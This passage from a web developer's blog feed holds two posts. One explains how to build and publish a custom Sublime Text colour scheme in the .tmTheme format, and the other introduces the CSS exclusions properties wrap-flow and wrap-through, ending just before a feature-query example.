&lt;/figure&gt;</content:encoded></item><item><title>Creating a custom sublime text colour scheme</title><link>https://chenhuijing.com/blog/creating-a-custom-sublime-text-colour-scheme/</link><guid isPermaLink="true">https://chenhuijing.com/blog/creating-a-custom-sublime-text-colour-scheme/</guid><description>First of all, British spelling. Now that&apos;s out of the way, I recently created a custom colour scheme for Sublime Text, and thought I&apos;d write up a quick note…</description><pubDate>Thu, 09 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;First of all, British spelling. Now that&apos;s out of the way, I recently created a custom colour scheme for &lt;a href=&quot;https://www.sublimetext.com/&quot;&gt;Sublime Text&lt;/a&gt;, and thought I&apos;d write up a quick note for anyone who&apos;s interested in doing the same.&lt;/p&gt;
&lt;p&gt;There are already thousands (I&apos;m guessing) of colour schemes out there already, so if you have better things to do with your life than pick colours, then please, carry on. I personally loved &lt;a href=&quot;https://blog.codepen.io/2016/02/21/five-brand-new-themes/&quot;&gt;CodePen&apos;s Oceanic Next dark theme&lt;/a&gt; but just couldn&apos;t find an existing theme that looked like it.&lt;/p&gt;
&lt;p&gt;The original &lt;a href=&quot;https://web.archive.org/web/20191129071611/https://labs.voronianski.com/oceanic-next-color-scheme/&quot;&gt;Oceanic Next&lt;/a&gt; theme by &lt;a href=&quot;http://pixelhunter.me/&quot;&gt;Dmitri Voronianski&lt;/a&gt; looks awesome, but somehow my files didn&apos;t turn out as colourful as they did in the screenshot. Probably has to do with the fact that it was optimised for babel-sublime? I dont know… &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;UI theme versus Colour Scheme&lt;/h2&gt;
&lt;p&gt;There are 2 parts to Sublime Text, the part where you do your work and write your code, and the part which is the user interface of Sublime Text itself, e.g. the sidebar, tabs etc.&lt;/p&gt;
&lt;p&gt;Colour schemes apply to the work part, and determines the highlighting of source code and their resultant colours, stuff like classes, functions, libraries, constants, you name it. These schemes use the &lt;code&gt;.tmTheme&lt;/code&gt; (legacy) format or the &lt;code&gt;.sublime-color-scheme&lt;/code&gt; (new since build 3149) format. The legacy &lt;code&gt;.tmTheme&lt;/code&gt; files utilise the XML format, while the newer &lt;code&gt;.sublime-color-scheme&lt;/code&gt; files utilise JSON formatting.&lt;/p&gt;
&lt;p&gt;UI themes have the &lt;code&gt;.sublime-theme&lt;/code&gt; extension and is a JSON format which specifies rules for matching elements and modifying their appearance. &lt;a href=&quot;https://www.sublimetext.com/docs/3/themes.html&quot;&gt;Full documentation&lt;/a&gt; covers the various properties and elements that can be customised.&lt;/p&gt;
&lt;h2&gt;Why bother creating your own?&lt;/h2&gt;
&lt;p&gt;Excellent question. I briefly mentioned earlier that I was enamoured with CodePen&apos;s version of Oceanic Next, but couldn&apos;t find a comparable one anywhere.&lt;/p&gt;
&lt;p&gt;Also, I had just purchased &lt;a href=&quot;https://twitter.com/_philpl&quot;&gt;Phil Plückthun&lt;/a&gt;&apos;s excellent &lt;a href=&quot;https://dank.sh/&quot;&gt;Dank Mono&lt;/a&gt; and wanted to figure out what to tweak to get my HTML attributes, comments and function arguments to display in italics.&lt;/p&gt;
&lt;p&gt;Turns out, most search results are for finding and installing existing themes, but not too many articles talk about the actual creation process. Hmmm, I wonder why… (&lt;em&gt;read in obnoxiously sarcastic tone&lt;/em&gt;) The best I could find was this 4-step article on Bobobobo&apos;s (AKA William Sherif) weblog on &lt;a href=&quot;https://bobobobo.wordpress.com/2017/02/27/how-to-create-a-custom-sublime-text-3-color-scheme/&quot;&gt;How to create a custom theme in Sublime Text 3&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Step 1: Creating the &lt;code&gt;.tmTheme&lt;/code&gt; file&lt;/h2&gt;
&lt;p&gt;Why not use the newer file format? Again, excellent question. Well, turns out I did &lt;strong&gt;NOT&lt;/strong&gt; read the docs before plunging head-first into this enterprise. And because there are way more colour schemes that use &lt;code&gt;.tmTheme&lt;/code&gt; than &lt;code&gt;.sublime-color-scheme&lt;/code&gt;, I assumed &lt;code&gt;.tmTheme&lt;/code&gt; was the way to go.&lt;/p&gt;
&lt;p&gt;Fun fact: only found out about &lt;code&gt;.sublme-color-scheme&lt;/code&gt; when I attempted to figure out how to publish my theme to Package Control after some colleagues asked if they could have the theme too. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person facepalming&quot;&gt;🤦‍♀️&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Anyhoo, after poking around a bit more, I discovered the existence of &lt;a href=&quot;https://tmtheme-editor.herokuapp.com/&quot;&gt;tmTheme Editor&lt;/a&gt;, which is a handy online GUI for editing and generating &lt;code&gt;.tmTheme&lt;/code&gt; files. Personally, I think that is a great way to get it done, but I did not use this lovely little web application.&lt;/p&gt;
&lt;p&gt;Instead, I downloaded one of the &lt;code&gt;.tmTheme&lt;/code&gt; files and proceeded to do the customisation directly via, who else, Sublime Text. There are general settings, and individual scope styles, and all the styles are &lt;code&gt;&amp;lt;dict&amp;gt;&lt;/code&gt; elements nested in an &lt;code&gt;&amp;lt;array&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;p&gt;Global settings determine the overall colours for the scheme, foreground, background and caret colour. Looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!-- Global settings --&amp;gt;
&amp;lt;dict&amp;gt;
  &amp;lt;key&amp;gt;settings&amp;lt;/key&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;background&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;#222222&amp;lt;/string&amp;gt;
    &amp;lt;key&amp;gt;foreground&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;#EEEEEE&amp;lt;/string&amp;gt;
    &amp;lt;key&amp;gt;caret&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;#FFFFFF&amp;lt;/string&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/dict&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything that follows are for individual scopes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!-- Scope styles --&amp;gt;
&amp;lt;dict&amp;gt;
  &amp;lt;key&amp;gt;name&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;Comment&amp;lt;/string&amp;gt;
  &amp;lt;key&amp;gt;scope&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;comment&amp;lt;/string&amp;gt;
  &amp;lt;key&amp;gt;settings&amp;lt;/key&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;foreground&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;#888888&amp;lt;/string&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/dict&amp;gt;
&amp;lt;dict&amp;gt;
  &amp;lt;key&amp;gt;name&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;String&amp;lt;/string&amp;gt;
  &amp;lt;key&amp;gt;scope&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;string&amp;lt;/string&amp;gt;
  &amp;lt;key&amp;gt;settings&amp;lt;/key&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;foreground&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;#FFD500&amp;lt;/string&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/dict&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each scope style rule consists of a &lt;code&gt;&amp;lt;dict&amp;gt;&lt;/code&gt; tag with 3 pairs of &lt;code&gt;&amp;lt;key&amp;gt;&lt;/code&gt;/&lt;code&gt;&amp;lt;string&amp;gt;&lt;/code&gt; tags for &lt;em&gt;name&lt;/em&gt;, &lt;em&gt;scope&lt;/em&gt; and &lt;em&gt;settings&lt;/em&gt;, where the &lt;em&gt;settings&lt;/em&gt; &lt;code&gt;&amp;lt;dict&amp;gt;&lt;/code&gt; tag can contain &lt;code&gt;&amp;lt;key&amp;gt;&lt;/code&gt; tags for &lt;em&gt;foreground&lt;/em&gt;, &lt;em&gt;background&lt;/em&gt; and &lt;em&gt;fontStyle&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Don&apos;t be like me. Read the docs. They are &lt;strong&gt;excellent&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;To figure out what &lt;code&gt;.tmTheme&lt;/code&gt; files are all about, go to &lt;a href=&quot;https://www.sublimetext.com/docs/3/color_schemes_tmtheme.html&quot;&gt;.tmTheme Color Schemes &lt;/a&gt;.&lt;br&gt;
To figure out the minimal set of scopes to include in your theme, go to &lt;a href=&quot;http://www.sublimetext.com/docs/3/scope_naming.html#color_schemes&quot;&gt;Usage in Color Schemes&lt;/a&gt;.&lt;br&gt;
To figure out which scopes will style which tokens in a syntax, go to &lt;a href=&quot;http://www.sublimetext.com/docs/3/scope_naming.html&quot;&gt;Scope Naming &lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Step 2: Install your custom theme&lt;/h2&gt;
&lt;p&gt;Regardless if you&apos;re on a Mac or Windows machine, go to &lt;em&gt;Preferences&lt;/em&gt; -&amp;gt; &lt;em&gt;Browse packages…&lt;/em&gt; and this should bring up a Finder window, navigated to the &lt;em&gt;Packages&lt;/em&gt; folder. If there is already a &lt;em&gt;Themes&lt;/em&gt; folder in there, then chuck your &lt;code&gt;.tmTheme&lt;/code&gt; file in there, otherwise, create one, then chuck your &lt;code&gt;.tmTheme&lt;/code&gt; file in there.&lt;/p&gt;
&lt;p&gt;Trigger the Command Palette by pressing &lt;kbd&gt;Ctrl+Shift+P&lt;/kbd&gt; (on Windows) or &lt;kbd&gt;Command+Shift+P&lt;/kbd&gt; (on Mac) and search for &lt;em&gt;UI&lt;/em&gt;. Your top 2 results should be &lt;em&gt;UI: Select Theme&lt;/em&gt; and &lt;em&gt;UI: Select Color Scheme&lt;/em&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/st3-colour-scheme/activate-480.jpg 480w, /images/posts/st3-colour-scheme/activate-640.jpg 640w, /images/posts/st3-colour-scheme/activate-960.jpg 960w, /images/posts/st3-colour-scheme/activate-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/st3-colour-scheme/activate-640.jpg&quot; alt=&quot;Using the Command Palette&quot; /&gt;
&lt;p&gt;Choose &lt;em&gt;UI: Select Color Scheme&lt;/em&gt; and you should be able to find your custom theme as one of the options.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/st3-colour-scheme/activate2-480.jpg 480w, /images/posts/st3-colour-scheme/activate2-640.jpg 640w, /images/posts/st3-colour-scheme/activate2-960.jpg 960w, /images/posts/st3-colour-scheme/activate2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/st3-colour-scheme/activate2-640.jpg&quot; alt=&quot;Selecting your colour scheme&quot; /&gt;
&lt;h2&gt;Step 3: Share with friends&lt;/h2&gt;
&lt;p&gt;Some of my colleagues wanted to try out my theme too, and I could have just sent them the &lt;code&gt;.tmTheme&lt;/code&gt; file, but then I got curious to how packages got onto Package Control to begin with. So again, read the docs. The &lt;a href=&quot;https://packagecontrol.io/docs/submitting_a_package&quot;&gt;Submitting a Package&lt;/a&gt; page is pretty comprehensive.&lt;/p&gt;
&lt;p&gt;If you, like me, are simply interested in submitting a colour scheme, you could probably skip the bit about preparing your repository in there. The gist of it is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Host the &lt;code&gt;.tmTheme&lt;/code&gt; somewhere, it could be a public git repository or your own web server.&lt;/li&gt;
&lt;li&gt;If you&apos;re going the git route, make sure to tag each release with the appropriate version. If you host your own, use semantic versioning in your &lt;code&gt;package.json&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;Fork the &lt;a href=&quot;https://github.com/wbond/package_control_channel&quot;&gt;package control channel&lt;/a&gt; and clone it to your own machine. Add your theme to the appropriate file (it&apos;s alphabetically organised) in the &lt;em&gt;package_control_folder&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Install the &lt;a href=&quot;https://packagecontrol.io/packages/ChannelRepositoryTools&quot;&gt;Channel​Repository​Tools&lt;/a&gt; package via Package Control and run the tests. Make sure they pass.&lt;/li&gt;
&lt;li&gt;Create a pull request and be patient.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I&apos;m currently at the &lt;em&gt;be patient&lt;/em&gt; part of the instructions, so hopefully my theme will eventually make it onto Package Control.&lt;/p&gt;
&lt;p&gt;If you go the git repository route, feel free to write up a good README file, with screenshots and all. I&apos;m going to make mine more comprehensive if it ever makes it to Package Control, and probably start porting it to the new file format.&lt;/p&gt;
&lt;p&gt;My theme is called Prismatic, and is currently &lt;a href=&quot;https://github.com/huijing/Prismatic&quot;&gt;hosted on GitHub&lt;/a&gt;. If you use a font that supports cursive italics and ligatures, all the more fun. For me, at least. Font in the screenshot is Dank Mono.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/st3-colour-scheme/screenshot-480.jpg 480w, /images/posts/st3-colour-scheme/screenshot-640.jpg 640w, /images/posts/st3-colour-scheme/screenshot-960.jpg 960w, /images/posts/st3-colour-scheme/screenshot-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/st3-colour-scheme/screenshot-640.jpg&quot; alt=&quot;Prismatic screenshot&quot; /&gt;
&lt;h2&gt;Useful resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://dank.sh/&quot;&gt;Dank Mono&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.sublimetext.com/docs/3/color_schemes.html&quot;&gt;Color Schemes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.sublimetext.com/docs/3/color_schemes_tmtheme.html&quot;&gt;.tmTheme Color Schemes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.sublimetext.com/docs/3/scope_naming.html#color_schemes&quot;&gt;Usage in Color Schemes&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.sublimetext.com/docs/3/scope_naming.html&quot;&gt;Scope Naming&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://packagecontrol.io/docs/submitting_a_package&quot;&gt;Submitting a package&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>CSS exclusions with Queen Bey</title><link>https://chenhuijing.com/blog/css-exclusions-with-queen-bey/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-exclusions-with-queen-bey/</guid><description>I recently came across a post by Ben Frain expressing his frustrations about CSS shapes and exclusions. And although I can see where he is coming from (he made…</description><pubDate>Mon, 30 Jul 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I recently came across a post by &lt;a href=&quot;https://benfrain.com/the-frustrations-of-using-css-shapes-and-css-exclusions/&quot;&gt;Ben Frain&lt;/a&gt; expressing his frustrations about CSS shapes and exclusions. And although I can see where he is coming from (he made that pretty clear in his examples), I would like to address the statement he made in his conclusion:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don’t know what’s going on here. As an outsider, coming to these features fresh in 2018 this situation seems like a bit of a car crash.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now I am definitely not an insider in any sense of the word. I do not work for any browser vendors, nor am I part of the CSS working group. But I am lucky enough to know people who fall into either or both of these camps, and from conversations with them, gotten a better understanding of what goes on behind the scenes.&lt;/p&gt;
&lt;h2&gt;It&apos;s not all unicorns and rainbows…&lt;/h2&gt;
&lt;p&gt;First of all, I do not disagree that the situation is not ideal. But I do disagree with the sentiment of “Why bother?”. In fact, let me share with you my thoughts on why bothering is a great thing. It is my sincere belief that a lot of frustration, sometimes amounting to anger, at CSS or browser behaviour in general, comes from a lack of understanding on how CSS features come into being.&lt;/p&gt;
&lt;p&gt;So I would like everyone to indulge this request of mine, to watch &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;&apos;s excellent talk from &lt;a href=&quot;https://2017.cssconf.eu/&quot;&gt;CSSConf.EU 2017&lt;/a&gt; on where CSS comes from.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/cYGOv2ToZjY?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;As Rachel says, it seems that there is an impression that browser vendors are locked in some battle about CSS. A legacy, from the days when browsers did compete on features. But today, all the browser vendors are in on it and working &lt;strong&gt;together&lt;/strong&gt; on the specifications (and &lt;a href=&quot;https://blog.mozilla.org/blog/2017/10/18/mozilla-brings-microsoft-google-w3c-samsung-together-create-cross-browser-documentation-mdn/&quot;&gt;documentation&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Specifications can originate from browser vendors, other CSS user agents (e.g. ePUB), companies like Adobe or the CSS working group itself. A new feature may start off as a cool idea or a means to resolve an issue. Some of these ideas get consolidated into an editor&apos;s draft.&lt;/p&gt;
&lt;p&gt;If a browser vendor came up with the spec, often they would put out an experimental implementation in their own browser, like a proof-of-concept, for web developers to try it out, flesh out requirements and address overlooked issues.&lt;/p&gt;
&lt;p&gt;But the important thing to keep in mind is that browsers are just like any other software product. There are features to be added, bugs to be fixed. And guess who influences the priority of new features? Who do you think are the “clients” of browser vendors?&lt;/p&gt;
&lt;p&gt;That&apos;s right, YOU are.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;CSS needs YOU!&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/css-exclusions/css-poster.jpg&quot; srcset=&quot;/images/posts/css-exclusions/css-poster@2x.jpg 2x&quot; alt=&quot;Join the force of developers who contribute to CSS&quot;/&gt;
&lt;/figure&gt;
&lt;h2&gt;…but you can do something about it&lt;/h2&gt;
&lt;p&gt;We shouldn&apos;t shy away from using newer CSS features simply because they are buggy or not fully supported. With the advent of evergreen browsers, features and bug fixes get released much faster these days. So a feature that you really wanted in browser X may end up getting shipped a month or two later. Sounds good? This can only happen if we signal to browser vendors which features we really want.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Every browser engine has a pretty open process for raising bugs. I&apos;ve linked the issue logs for the major browsers here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/list&quot;&gt;Chromium issue log&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/index.cgi&quot;&gt;Firefox Bugzilla&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugs.webkit.org/query.cgi?format=specific&amp;amp;product=WebKit&quot;&gt;Webkit Bugzilla&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/&quot;&gt;Edge issue log&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If something doesn&apos;t work the same across browsers, odds are, it may be a browser bug. Rather than stew in frustration and throw that feature out of your project, raise a bug. Take action! If developers don&apos;t use features simply because they are buggy or not well supported, we&apos;re signalling to browser vendors that this feature isn&apos;t in demand.&lt;/p&gt;
&lt;p&gt;Conversely, if we raise bugs, tweet about our issues, write blog posts and code up demos, we are raising awareness of a particular feature. And signalling to browser vendors to prioritise this feature, fix its bugs, implement it correctly, because we WANT TO USE IT.&lt;/p&gt;
&lt;p&gt;If something isn&apos;t in the CSS specification but you think it&apos;d be useful, consider raising a GitHub issue in the &lt;a href=&quot;https://github.com/w3c/csswg-drafts&quot;&gt;CSSWG repository&lt;/a&gt;, where all the working drafts are being developed. You can also get a better idea of how CSS specifications get hashed out by reading the various issue threads.&lt;/p&gt;
&lt;p&gt;I&apos;m glad Ben wrote out his frustrations about CSS shapes and exclusions. And I want more people to try it out and talk about how they would use shapes and exclusions in their projects if it worked properly across all browsers. The more use cases the better!&lt;/p&gt;
&lt;h2&gt;Okay, now let&apos;s talk about exclusions&lt;/h2&gt;
&lt;p&gt;I apologise for being slightly click-baity with the title, but how else would I get my point about becoming more involved in the future of the web without mentioning Beyoncé in the title? It&apos;s not entirely click-bait, however, because we are going to explore CSS exclusions, WITH some help from Beyoncé, of course.&lt;/p&gt;
&lt;p&gt;CSS exclusions define arbitrary areas around which inline content can flow, and can be defined on any CSS block-level element. Exclusions can be considered more “powerful” than CSS shapes because they are not limited to floats only.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Basic terminology&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/css-exclusions/terminology.png&quot; srcset=&quot;/images/posts/css-exclusions/terminology@2x.png 2x&quot; alt=&quot;Exclusion terminology&quot;/&gt;
&lt;/figure&gt;
&lt;p&gt;An &lt;strong&gt;exclusion element&lt;/strong&gt; is a &lt;em&gt;block-level&lt;/em&gt; element which is &lt;em&gt;not a float&lt;/em&gt;, and generates an exclusion box. An exclusion element establishes a &lt;em&gt;new block formatting context&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;An element becomes an exclusion when its &lt;code&gt;wrap-flow&lt;/code&gt; property is computed to something other than its initial value of &lt;code&gt;auto&lt;/code&gt;. When an element becomes an exclusion, inline content will wrap around the exclusion areas, but within their own formatting contexts.&lt;/p&gt;
&lt;p&gt;Note that exclusions have to be positioned somehow, using any of the positioning schemes we currently have at our disposal. Except floats. IF you float an element, it will not become an exclusion. Otherwise, schemes like absolute positioning or CSS grid and so on, all work fine.&lt;/p&gt;
&lt;h3&gt;The &lt;code&gt;wrap-flow&lt;/code&gt; property&lt;/h3&gt;
&lt;p&gt;There are 7 values for the &lt;code&gt;wrap-flow&lt;/code&gt; property available to us at the moment, and they determine the area which inline-content flows around.&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;auto&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;No exclusion created. Proceed with life as normal.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;both&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      &lt;p&gt;Inline flow content can flow on all sides of the exclusion.&lt;/p&gt;
      &lt;img src=&quot;/images/posts/css-exclusions/wf-both.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wf-both@2x.jpg 2x&quot; alt=&quot;wrap-flow:both example&quot;&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;start&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      &lt;p&gt;Inline flow content can only flow around the start edge of the exclusion area, but the end edge is a no-flow zone.&lt;/p&gt;
      &lt;img src=&quot;/images/posts/css-exclusions/wf-start.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wf-start@2x.jpg 2x&quot; alt=&quot;wrap-flow:start example&quot;&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;end&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      &lt;p&gt;Inline flow content can only flow around the end edge of the exclusion area, but the start edge is a no-flow zone.&lt;/p&gt;
      &lt;img src=&quot;/images/posts/css-exclusions/wf-end.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wf-end@2x.jpg 2x&quot; alt=&quot;wrap-flow:end example&quot;&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;minimum&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      &lt;p&gt;Inline flow content can only flow around the edge with less available space, and leave the other edge empty.&lt;/p&gt;
      &lt;img src=&quot;/images/posts/css-exclusions/wf-min.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wf-min@2x.jpg 2x&quot; alt=&quot;wrap-flow:minimum example&quot;&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;maximum&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      &lt;p&gt;Inline flow content can only flow around the edge with more available space, and leave the other edge empty.&lt;/p&gt;
      &lt;img src=&quot;/images/posts/css-exclusions/wf-max.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wf-max@2x.jpg 2x&quot; alt=&quot;wrap-flow:maximum example&quot;&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;clear&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      &lt;p&gt;Nothing flows along the start and end edge of the exclusion along the inline direction. &lt;span class=&quot;kaomoji&quot;&gt;¯\\\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
      &lt;img src=&quot;/images/posts/css-exclusions/wf-clear.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wf-clear@2x.jpg 2x&quot; alt=&quot;wrap-flow:clear example&quot;&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;The &lt;code&gt;wrap-through&lt;/code&gt; property&lt;/h3&gt;
&lt;p&gt;We can also control how the content which is supposed to flow around the exclusion behaves, with the &lt;code&gt;wrap-through&lt;/code&gt; property. By setting a value of &lt;code&gt;none&lt;/code&gt;, the content will flow through the exclusion, as if it wasn&apos;t there to begin with.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Green dashed line shows &lt;code&gt;wrap-through:none&lt;/code&gt; while blue dashed line shows &lt;code&gt;wrap-through:wrap&lt;/code&gt;&lt;/figcaption&gt; 
  &lt;img src=&quot;/images/posts/css-exclusions/wrap-through.jpg&quot; srcset=&quot;/images/posts/css-exclusions/wrap-through@2x.jpg 2x&quot; alt=&quot;wrap-through example&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Here&apos;s my attempt at demonstrating the different values of &lt;code&gt;wrap-flow&lt;/code&gt; and &lt;code&gt;wrap-through&lt;/code&gt; via a recreation of an interview Beyoncé did with ELLE back in 2016 when launching her Ivy Park line (I think). If you would like to try building something with exclusions, you&apos;ll have to use either Edge or Internet Explorer 10 and up, and prefix the properties with &lt;code&gt;-ms-&lt;/code&gt;.&lt;/p&gt;
&lt;p data-height=&quot;400&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;JBORXW&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-pen-title=&quot;CSS exclusions demo&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/JBORXW/&quot;&gt;CSS exclusions demo&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also, here&apos;s the &lt;a href=&quot;https://huijing.github.io/demos/exclusions/&quot;&gt;standalone demo&lt;/a&gt;, and &lt;a href=&quot;https://github.com/huijing/demos/tree/master/exclusions&quot;&gt;source code on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Support and fallbacks&lt;/h2&gt;
&lt;p&gt;If you had tried to view my CodePen or stand-alone demo in a browser other than Edge or Internet Explorer 10 and up, you&apos;d have seen a little red message in the top right corner that said exclusions is not supported. And this was pretty much what Ben&apos;s frustrations were about.&lt;/p&gt;
&lt;p&gt;I don&apos;t deny that this is a troublesome situation to be in, where you have Chrome, Safari and Opera supporting CSS shapes but not Exclusions, Edge supporting Exclusions but not CSS shapes, and Firefox which will only support CSS shapes after v62 comes out, but no Exclusions either.&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;css-exclusions&quot; data-periods=&quot;future_1,current,past_1,past_2&quot; data-accessible-colours=&quot;false&quot;&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=css-exclusions&quot;&gt;Can I Use css-exclusions?&lt;/a&gt; Data on support for the css-exclusions feature across the major browsers from caniuse.com.
&lt;/p&gt;
&lt;p&gt;And if you&apos;re thinking, why on earth are we in such an awkward position with regards to Shapes and Exclusions? Trust me, I get it. I want my text to flow around &lt;strong&gt;BOTH&lt;/strong&gt; of Beyoncé&apos;s elbows too. But unfortunately, it seems like there&apos;s no way to do this. &lt;strong&gt;YET&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But there&apos;s nothing stopping us from tossing in some CSS exclusions in our code right now, even if only Edge and Internet Explorer 10 and up users can see it. We can still deliver a nice, working layout for the other browsers with &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@supports&quot;&gt;feature queries&lt;/a&gt; AKA &lt;code&gt;@supports&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here&apos;s a general idea of how you could structure your exclusions code with feature queries:&lt;/p&gt;
